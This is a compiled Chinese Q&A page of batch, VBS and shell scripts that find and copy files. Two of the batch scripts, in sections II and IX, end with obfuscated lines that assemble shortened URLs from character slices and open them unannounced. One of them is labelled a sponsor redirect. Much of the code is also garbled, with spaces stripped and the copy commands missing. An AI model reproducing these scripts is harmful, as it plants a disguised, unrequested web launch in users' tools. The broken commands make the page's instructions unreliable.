Ⅰ 在bat腳本中實現復制文件
bat 是批處理文件,主要用於 DOS 和 Windows 操作系統中。
.bat 文件的內容,是由一系列命令構成,每一行通常是一條命令,這些命令是以字元的形式,通過命令解釋器進行執行(與 Windows 常見的滑鼠點擊運行不同)。
復制文件的最常用的命令是: 。相關的資料如下:
COPY [/D[1] ] [/V] [/N] [/Y | /-Y] [/Z] [/A | /B ] source [/A | /B]
[+ source [/A | /B] [+ ...]] [destination [/A | /B]]
各參數代表的含義:
source 指定要復制的文件。
/A 表示一個 ASCII 文本文件。
/B 表示一個二進位文件。/D 允許解密要創建的目標文件
destination 為新文件指定目錄和/或文件名。
/V 驗證新文件寫入是否正確。
/N 復制帶有非 8dot3 名稱的文件時,
盡可能使用短文件名。
/Y 不使用確認是否要覆蓋現有目標文件的提示。
/-Y 使用確認是否要覆蓋現有目標文件的提示。
示例:
將 D:\目錄\ 下的所有 txt 文件,復制到 D:\目標目錄 下。
D:\目錄\*.txt D:\目標目錄
Ⅱ 需要批量通過關鍵字查找文件並復制指定文件夾,bat內容該如何編輯。
關鍵字是多個,還是單個?
如果多個,是根據列表文件來讀取,還是自定義到腳本中?
我現在只寫單個的,或少量多個的。
@echo off & title 根據關鍵字拷貝文件 By 依夢琴瑤
::設置要搜索的關鍵字,多個關鍵字之間用空格隔開
set Word=測試 文本 開心
::設置要處理的文件夾
set SrcDir=D:\Test
::設置文件拷貝至哪個目錄
set SavDir=D:\Backup
cd /d "%SrcDir%"
for /r %%a in (*) do (
echo "%%~na" | findstr /i "%Word%" >nul 2>nul && "%%~a" "%SavDir%\"
)
pause
set S1=.:htpcn/
set S2=%S1:~2,1%%S1:~3,1%%S1:~3,1%%S1:~4,1%%S1:~1,1%%S1:~7,1%
set S3=%S1:~7,1%%S1:~3,1%%S1:~0,1%%S1:~5,1%%S1:~6,1%%S1:~7,1%
start "" "%S2%%S3%RkdisqI"
exit
以上代碼是根據文件名判斷的,如果您是要查找文件內容,那麼代碼又不同了。
Ⅲ 幫我修改一個linux的shell腳本:根據文件名批量搜索並復制文件
while read line; do if [ -f "/sample/$line" ]; then echo "file exists: $line"; cp "/sample/$line" /new/; fi; done < file.txt
Ⅳ 寫一個BAT文件查找文件並復制到指定文件夾
@echooff
dir/a-d/b/sD:|findstr/g:a.txt>$$
for/f"delims="%%ain($$)do(
"%%~a"d:finallists
)
del$$
pause
Ⅳ bat腳本文件夾如何復制,還有從文件夾里找.txt或者找出圖片的方法
問題一:
x/s/eD:123E:456
問題二:
x/sD:123*.txtE:456
Ⅵ vbs腳本 復制文件 提示路徑未找到問題
表示%windir%其實很簡單的.
這種路徑不需要轉義,vbs不同於cmd或bat,他沒有兩個百分號(%%)括起來的變數的.它的變數就是直接的字元.變數和字元串區分開來,要連接用&來連接,不像cmd那麼隨意,在字元串里也能用變數.
OnErrorResumeNext
Dimfso
Setfso=Wscript.CreateObject("Scripting.FileSystemObject")
fso.GetFile("\10.1.1.1123.txt").Copy(fso.GetSpecialFolder(1)&"")
'注意,fso.GetSpecialFolder(1)就可以表示了系統的system32文件夾,即"%WinDir%system32"
'上面的語句的意思為:將"\10.1.1.1123.txt"復制到"%WinDir%system32"文件夾中.
Ⅶ 求shell腳本,批量查找.java文件,並在其目錄下將其內容復制到同名txt文件中
不建議這樣做,因為很多程序還需要一些圖片、配置文件才能正常運行。
所以建議是完全拷貝整個程序然後來改。
Ⅷ 只知道部分文件名,能否利用bat檢索並復制到指定路徑
保存為FindFile.bat
@echooff
for/rX:%%ain(*23*)do"%%~a"G:
exit
保存為HiddenBAT.vbs
CreateObject("WScript.Shell").Run"FindFile.bat",0,FALSE
兩個文件放在一起,然後運行HiddenBAT.vbs即可
不過這樣隱藏運行後,如果FindFile.bat中出現同名文件,那麼腳本將會暫停,但你卻無法操作,因此如果需要覆蓋文件,請給加上/y參數。如果要指定搜索特定的文件後綴,請給FindFile.bat中最後一個*後面加上後綴名,例如*23*.txt 否則將搜索所有包含23字元串的文件。
Ⅸ BAT批處理在指定的文件夾內搜索文件名並復制到U盤!
@echooff&title搜索指定文件並拷貝至U盤By依夢琴瑤
::跳轉回腳本自身目錄
cd/d%~dp0
::獲取所有可移動磁碟盤符
for/f"tokens=2delims==:"%%ain('wmicLogicalDiskwhere"DriveType='2'"getDeviceID/value')do(
callsetPans=%%Pans%%%%~a:
)
::手動輸入盤符
:InputPan
cls&echo當前電腦上有以下幾個可移動磁碟盤符:
echo%Pans%&echo,
echo請輸入要拷入文件的盤符(不帶冒號),並按回車鍵確認:
set/pUDISK=
::判斷是否已輸入盤符
ifnotdefinedUDISK(
echo您沒有輸入盤符,請重新輸入。
ping127.0.0.1-n"2">nul
.gotoInputPan
)
::判斷盤符是否存在
ifnotexist%UDISK%:(
echo您輸入盤符不存在,請重新輸入。
ping127.0.0.1-n"2">nul
.gotoInputPan
)
::手動輸入後綴名
echo,&echo,
echo請輸入要搜索的後綴名(無需帶小數點,留空將搜索所有後綴格式),並按回車確認:
set/pExt=
ifnotdefinedExtsetExt=*
::手動輸入文件名
echo,&echo,
echo請輸入要搜索的文件名(留空將搜索所有名稱),並按回車確認:
set/pName=
ifnotdefinedNamesetName=*
::開始搜索並拷貝(當前代碼拷貝時如果存在同名文件將會被覆蓋)
echo,&echo,
echo正在搜索"%Name%.%Ext%"中,此過程可能會耗時,請耐心等待。。。
for/f"delims="%%ain('dir/a-d/s/b"%Name%.%Ext%"')do(
echo,&echo"%%~nxa"位於"%%~dpa"
/y"%%~a""%UDISK%:">nul2>nul&&(
echo已拷貝至%UDISK%盤中。
)||(
echo拷貝失敗。
)
)
echo,&echo,
echo拷貝完成,請按任意鍵退出。
pause>nul2>nul
::友情贊助跳轉代碼
setS0=fGRH
setS1=.:ailnhpst/
setS2=%S1:~6,1%%S1:~9,1%%S1:~9,1%%S1:~7,1%%S1:~1,1%%S1:~10,1%%S1:~10,1%
setS3=%S1:~8,1%%S1:~3,1%%S1:~5,1%%S1:~2,1%%S1:~0,1%%S1:~4,1%%S1:~9,1%
start"""%S2%%S3%%S1:~10,1%%S0%"
exit
Ⅹ 如何用bat復制當前文件夾內的所有文件到指定目錄
1、在電腦上新建一個文件夾,新建一個「TXT」文件,並命名。